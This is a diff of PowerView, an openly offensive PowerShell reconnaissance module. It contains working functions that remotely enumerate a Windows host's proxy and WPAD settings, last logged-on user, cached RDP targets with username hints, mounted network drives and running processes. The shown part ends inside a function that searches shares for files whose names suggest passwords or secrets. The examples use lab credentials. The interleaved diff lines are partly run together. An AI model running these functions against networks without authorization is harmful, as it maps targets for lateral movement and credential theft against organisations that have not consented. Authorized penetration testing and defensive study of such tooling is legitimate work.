http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. - Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle" +.PARAMETER ComputerName - $IsAdmin = New-Object PSObject - $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer +Specifies the system to enumerate proxy settings on. Defaults to the local host. - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { - $Null = $Advapi32::CloseServiceHandle($Handle) - $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False - } +.PARAMETER Credential - $IsAdmin -} +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. +.EXAMPLE -filter Get-SiteName { -<# - .SYNOPSIS +Get-WMIRegProxy + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... - This function will use the DsGetSiteName Win32API call to look up the - name of the site where a specified computer resides. +.EXAMPLE - .PARAMETER ComputerName +$Cred = Get-Credential "TESTLAB\administrator" +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local - The hostname to look the site up for, default to localhost. +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local - .EXAMPLE +.INPUTS - PS C:\> Get-SiteName -ComputerName WINDOWS1 +String - Returns the site for WINDOWS1.testlab.local. +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). - .EXAMPLE +.OUTPUTS - PS C:\> Get-NetComputer | Get-SiteName +PowerView.ProxySettings - Returns the sites for every machine in AD. +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> + + [OutputType('PowerView.ProxySettings')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = $Env:ComputerName + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } - # if we get an IP address, try to resolve the IP to a hostname - if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { - $IPAddress = $Computer - $Computer = [System.Net.Dns]::GetHostByAddress($Computer) - } - else { - $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress + $RegProvider = Get-WmiObject @WmiArguments + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' + + # HKEY_CURRENT_USER + $HKCU = 2147483649 + $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue + $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue + + $Wpad = '' + if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { + try { + $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) + } + catch { + Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" + } + } + + if ($ProxyServer -or $AutoConfigUrl) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer + $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL + $Out | Add-Member Noteproperty 'Wpad' $Wpad + $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') + $Out + } + else { + Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" + } + } } +} - $PtrInfo = [IntPtr]::Zero - $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) +function Get-WMIRegLastLoggedOn { +<# +.SYNOPSIS - $ComputerSite = New-Object PSObject - $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer - $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress +Returns the last user who logged onto the local (or a remote) machine. - if ($Result -eq 0) { - $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) - $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename - } - else { - $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage - } +Note: This function requires administrative rights on the machine you're enumerating. - $Null = $Netapi32::NetApiBufferFree($PtrInfo) +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - $ComputerSite -} +.DESCRIPTION +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. -filter Get-LastLoggedOn { -<# - .SYNOPSIS +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. - This function uses remote registry functionality to return - the last user logged onto a target machine. +.EXAMPLE - Note: This function requires administrative rights on the - machine you're enumerating. +Get-WMIRegLastLoggedOn - .PARAMETER ComputerName +Returns the last user logged onto the local machine. - The hostname to query for the last logged on user. - Defaults to the localhost. +.EXAMPLE - .PARAMETER Credential +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 - A [Management.Automation.PSCredential] object for the remote connection. +Returns the last user logged onto WINDOWS1 - .EXAMPLE +.EXAMPLE - PS C:\> Get-LastLoggedOn +Get-DomainComputer | Get-WMIRegLastLoggedOn - Returns the last user logged onto the local machine. +Returns the last user logged onto all machines in the domain. - .EXAMPLE - - PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 +.EXAMPLE - Returns the last user logged onto WINDOWS1 +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred - .EXAMPLE - - PS C:\> Get-NetComputer | Get-LastLoggedOn +.OUTPUTS - Returns the last user logged onto all machines in the domain. +PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. #> + [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # HKEY_LOCAL_MACHINE - $HKLM = 2147483650 + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 - # try to open up the remote registry key to grab the last logged on user - try { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'SilentlyContinue' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = Get-WmiObject @WmiArguments - $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" - $Value = "LastLoggedOnUser" - $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' + $Value = 'LastLoggedOnUser' + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue - $LastLoggedOn = New-Object PSObject - $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer - $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser - $LastLoggedOn - } - catch { - Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled." + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') + $LastLoggedOn + } + catch { + Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." + } + } } } -filter Get-CachedRDPConnection { +function Get-WMIRegCachedRDPConnection { <# - .SYNOPSIS +.SYNOPSIS + +Returns information about RDP connections outgoing from the local (or remote) machine. - Uses remote registry functionality to query all entries for the - "Windows Remote Desktop Connection Client" on a machine, separated by - user and target server. +Note: This function requires administrative rights on the machine you're enumerating. - Note: This function requires administrative rights on the - machine you're enumerating. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID - .PARAMETER ComputerName +.DESCRIPTION - The hostname to query for RDP client information. - Defaults to localhost. +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. - .PARAMETER Credential +.PARAMETER ComputerName - A [Management.Automation.PSCredential] object for the remote connection. +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. - .EXAMPLE +.PARAMETER Credential - PS C:\> Get-CachedRDPConnection +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. - Returns the RDP connection client information for the local machine. +.EXAMPLE - .EXAMPLE +Get-WMIRegCachedRDPConnection - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local +Returns the RDP connection client information for the local machine. - Returns the RDP connection client information for the WINDOWS2.testlab.local machine +.EXAMPLE - .EXAMPLE +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred +Returns the RDP connection client information for the WINDOWS2.testlab.local machine - Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. +.EXAMPLE - .EXAMPLE +Get-DomainComputer | Get-WMIRegCachedRDPConnection - PS C:\> Get-NetComputer | Get-CachedRDPConnection +Returns cached RDP information for all machines in the domain. - Get cached RDP information for all machines in the domain. +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. #> + [OutputType('PowerView.CachedRDPConnection')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # HKEY_USERS - $HKU = 2147483651 + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 - try { - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + try { + $Reg = Get-WmiObject @WmiArguments - foreach ($UserSID in $UserSIDs) { + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - try { - $UserName = Convert-SidToName $UserSID + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } - # pull out all the cached RDP connections - $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + ForEach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if ($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } - foreach ($Connection in $ConnectionKeys) { - # make sure this key is a cached connection - if($Connection -match 'MRU.*') { - $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null - $FoundConnection - } - } + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames - # pull out all the cached server info with username hints - $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + ForEach ($Server in $ServerKeys) { - foreach ($Server in $ServerKeys) { + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue - $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint - $FoundConnection + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + catch { + Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" + } } - } catch { - Write-Verbose "Error: $_" + Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } - - } - catch { - Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } -filter Get-RegistryMountedDrive { +function Get-WMIRegMountedDrive { <# - .SYNOPSIS +.SYNOPSIS + +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID - Uses remote registry functionality to query all entries for the - the saved network mounted drive on a machine, separated by - user and target server. +.DESCRIPTION - Note: This function requires administrative rights on the - machine you're enumerating. +Uses remote registry functionality to enumerate recently mounted network drives. - .PARAMETER ComputerName +.PARAMETER ComputerName - The hostname to query for RDP client information. - Defaults to localhost. +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object for the remote connection. +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. - .EXAMPLE +.EXAMPLE - PS C:\> Get-RegistryMountedDrive +Get-WMIRegMountedDrive - Returns the saved network mounted drives for the local machine. +Returns the saved network mounted drives for the local machine. - .EXAMPLE +.EXAMPLE - PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local - Returns the saved network mounted drives for the WINDOWS2.testlab.local machine +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine - .EXAMPLE +.EXAMPLE - PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred +Get-DomainComputer | Get-WMIRegMountedDrive - Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials. +Returns the saved network mounted drives for all machines in the domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetComputer | Get-RegistryMountedDrive +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred - Get the saved network mounted drives for all machines in the domain. +.OUTPUTS + +PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. #> + [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # HKEY_USERS - $HKU = 2147483651 - - try { - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } - - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 - foreach ($UserSID in $UserSIDs) { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { - $UserName = Convert-SidToName $UserSID + $Reg = Get-WmiObject @WmiArguments - $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - ForEach($DriveLetter in $DriveLetters) { - $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue - $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue - $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue - if(-not $UserName) { $UserName = '' } + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } - if($RemotePath -and ($RemotePath -ne '')) { - $MountedDrive = New-Object PSObject - $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer - $MountedDrive | Add-Member Noteproperty 'UserName' $UserName - $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID - $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter - $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName - $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath - $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName - $MountedDrive + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach ($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if (-not $UserName) { $UserName = '' } + + if ($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') + $MountedDrive + } + } + } + catch { + Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" } } } catch { - Write-Verbose "Error: $_" + Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } } - catch { - Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" - } } -filter Get-NetProcess { +function Get-WMIProcess { <# - .SYNOPSIS +.SYNOPSIS + +Gets a list of processes and their owners on the local or remote machine + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION - Gets a list of processes/owners on a remote machine. +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. - .PARAMETER ComputerName +.PARAMETER ComputerName - The hostname to query processes. Defaults to the local host name. +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object for the remote connection. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetProcess -ComputerName WINDOWS1 - - Returns the current processes for WINDOWS1 +Get-WMIProcess -ComputerName WINDOWS1 + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.UserProcess + +A PSCustomObject containing the remote process information. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserProcess')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = [System.Net.Dns]::GetHostName(), + [String[]] + $ComputerName = 'localhost', [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - try { - if($Credential) { - $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential - } - else { - $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName - } - - $Processes | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $Computer - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'ComputerName' = $ComputerName + 'Class' = 'Win32_process' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + Get-WMIobject @WmiArguments | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') + $Process + } + } + catch { + Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" + } } } - catch { - Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" - } } function Find-InterestingFile { <# - .SYNOPSIS +.SYNOPSIS - This function recursively searches a given UNC path for files with - specific keywords in the name (default of pass, sensitive, secret, admin, - login and unattend*.xml). The output can be piped out to a csv with the - -OutFile flag. By default, hidden files/folders are included in search results. +Searches for files on the given path that match a series of specified criteria. - .PARAMETER Path +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection - UNC/local path to recursively search. +.DESCRIPTION - .PARAMETER Terms +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). By default, hidden files/folders are included +in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. - Terms to search for. +.PARAMETER Path - .PARAMETER OfficeDocs +UNC/local path to recursively search. - Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) +.PARAMETER Include - .PARAMETER FreshEXEs +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) - Switch. Find .EXEs accessed within the last week. +.PARAMETER LastAccessTime - .PARAMETER LastAccessTime +Only return files with a LastAccessTime greater than this date value. - Only return files with a LastAccessTime greater than this date value. +.PARAMETER LastWriteTime - .PARAMETER LastWriteTime +Only return files with a LastWriteTime greater than this date value. - Only return files with a LastWriteTime greater than this date value. +.PARAMETER CreationTime - .PARAMETER CreationTime +Only return files with a CreationTime greater than this date value. - Only return files with a CreationTime greater than this date value. +.PARAMETER OfficeDocs - .PARAMETER ExcludeFolders +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - Switch. Exclude folders from the search results. +.PARAMETER FreshEXEs - .PARAMETER ExcludeHidden +Switch. Find .EXEs accessed within the last 7 days. - Switch. Exclude hidden files and folders from the search results. +.PARAMETER ExcludeFolders - .PARAMETER CheckWriteAccess +Switch. Exclude folders from the search results. - Switch. Only returns files the current user has write access to. +.PARAMETER ExcludeHidden - .PARAMETER OutFile +Switch. Exclude hidden files and folders from the search results. - Output results to a specified csv output file. +.PARAMETER CheckWriteAccess - .PARAMETER UsePSDrive +Switch. Only returns files the current user has write access to. - Switch. Mount target remote path with temporary PSDrives. +.PARAMETER Credential - .OUTPUTS +A [Management.Automation.PSCredential] object of alternate credentials +to connect to remote systems for file enumeration. - The full path, owner, lastaccess time, lastwrite time, and size for each found file. +.EXAMPLE - .EXAMPLE +Find-InterestingFile -Path "C:\Backup\" - PS C:\> Find-InterestingFile -Path C:\Backup\ - - Returns any files on the local path C:\Backup\ that have the default - search term set in the title. +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. - .EXAMPLE +.EXAMPLE - PS C:\> Find-InterestingFile -Path 